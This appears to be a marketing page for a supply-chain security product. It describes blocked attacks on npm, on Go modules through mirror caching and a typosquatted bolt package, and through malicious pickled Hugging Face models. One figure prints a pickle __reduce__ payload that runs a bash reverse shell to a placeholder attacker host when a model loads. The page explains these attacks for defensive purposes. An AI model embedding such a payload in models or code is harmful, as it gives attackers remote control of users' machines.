AI is built on PyPI and npm, and it is served on Go. CyberXYZ watches all of them in real time, reads the source commit by commit, and blocks malicious code at install. This is the story of that work, told through packages we actually stopped.
Every AI system is an assembly of other people's code. The training scripts, the inference stacks, the vector stores, and the agent frameworks all arrive as packages from PyPI and npm. And the cloud that serves those models runs on Go, the one ecosystem the market left unguarded. We cover all of it, in one platform, and the verdict lands before the code runs.
Blocking a package that is already on a blocklist is table stakes. The harder problem is catching a compromise the first time anyone sees it, before there is a CVE. When axios shipped a version that pulled in a dependency it had never used before, that dependency added an obfuscated install hook at the commit level. We read the change and blocked it.
fig. 01 · commit-level review · the axios compromise, caught at the source. Full write-up on the CyberXYZ blog.
Go has no central registry. Code is pulled straight from source hosts, and the Go Module Mirror caches each version permanently. That design has a sharp edge: a poisoned version, cached once, outlives the repository that served it. Here is how one attacker used that, and where CyberXYZ steps in.
The attacker publishes github.com/boltdb-go/bolt, an impersonation of
github.com/boltdb/bolt, the BoltDB database trusted by teams at Shopify and Heroku.
Inside is a backdoor that opens a connection to a command-and-control host and runs shell commands
it receives.
The poisoned version is fetched once, and the Go Module Mirror caches it for good. In Go there is no registry to pull from later, the mirror is the source of truth, so that cached copy is now what the ecosystem will serve.
The attacker repoints the GitHub tag back at clean, harmless code. Anyone auditing the repository by hand sees nothing wrong. The malicious bytes no longer live in the repo, they live in the cache.
Developers who ran go get kept receiving the cached malicious version, not the clean
repository. The backdoor stayed live and undetected for more than three years, published in 2021 and
only reported in 2025.
Because we watch the Go module supply chain at publish, in real time, a poisoned version is caught
as it enters the ecosystem, not three years later. Run against the live module, the proxy returns
BLOCK before the cached backdoor can reach a build. First to watch Go, and first to
block it.
github.com/boltdb-go/bolt impersonates github.com/boltdb/bolt, the BoltDB database trusted across the Go ecosystem, one hyphen away from the real name.
The malicious version was cached by the Go Module Mirror and kept being served after the source tag was rewritten to clean code, so a repository audit reveals nothing.
The package opens a backdoor to a command-and-control host and runs shell commands it receives, with no validation.
fig. 02 · install verdict · the Go backdoor CyberXYZ blocks at install. Technique reported by Socket and The Hacker News (2025).
These are two of the answers the CyberXYZ proxy returns, one in Go, one in npm, each returned before the package could run. The same engine, the same decision, whichever ecosystem the install came from.
fig. 03 · proxy findings · two real blocks, one Go, one npm, both returned at install
This is the surface we were built for. A model pulled from a public hub is a serialized object, and loading it can execute whatever was packed inside. In February 2025, researchers found models on Hugging Face doing exactly that, crafted to slip past the platform's own scanner. Here is the class, and how we watch for it.
An attacker publishes a model to a hub like Hugging Face. To a data scientist it looks like weights to download and load. Under the surface it is a serialized file, and loading a serialized file can run code.
The serialized model carries injected code that opens a reverse shell to a hardcoded host the moment the model is loaded. No exploit, no separate download. The load is the execution.
The file is built so the platform's default loader and its pickle scanner choke on it, while the malicious code still runs. Researchers named this technique nullifAI, for what it does to the tools meant to catch it.
The moment the model is loaded, on a laptop, a training box, or an inference server, the reverse shell connects back. The person who trusted the model just handed over the machine.
We watch the model hubs and read each model's serialized format for the operations that turn a load into code execution, before it reaches a machine. And when a published model is quietly overwritten, the way clean weights get swapped for poisoned ones, we see the change. This is the class the platform was built for.
# to a data scientist, this line just loads some weights model = torch.load("pytorch_model.bin") # but the serialized object defines __reduce__, which the # unpickler calls on its own, the moment the model loads: class Payload: def __reduce__(self): return (os.system, ("bash -i >& /dev/tcp/<attacker>/4444 0>&1",)) # no CVE, no exploit. loading the model is the exploit.
fig. 04 · the malicious-model class · a poisoned model that opens a reverse shell on load, reported by ReversingLabs and The Hacker News (2025)
A poisoned model is the sharpest example, but AI carries other artifacts that hold the same trust a dependency does. The hub it came from and the framework your agents depend on get the same scrutiny.
The model files themselves, where an unsafe loading path or an embedded payload turns a download into code execution.
The distribution points where AI teams source models, and where a compromised or impersonated entry spreads fast.
The frameworks, SDKs, and agent libraries that AI projects install and trust, often with broad access.
The PyPI, npm, and Go packages underneath AI systems, where one hijacked link reaches every model built on it.
We watch the ecosystems AI is actually built and served on, plus the enterprise stacks around them, and we apply the same install-time verdict to each.
fig. 05 · coverage · PyPI and npm carry AI, Hugging Face carries the models, Go carries the cloud, and the enterprise stacks around them
CyberXYZ was built in collaboration with academic partners, and its detection methods come out of research into how supply chain attacks behave. That is why the platform reads source commits, package provenance, and behavior rather than waiting for a vulnerability to be catalogued, and why the coverage reaches the surfaces the industry under studied, Go and the AI supply chain first among them. The Go backdoor above was documented by Socket and The Hacker News, and the malicious-model class by ReversingLabs. How the engine decides: the methodology.
Go, AI models, PyPI, npm, and .NET, in one platform, blocked at install. See it read your own dependency tree in a 15-minute walkthrough, and we will plug the proxy into your CI in under an hour.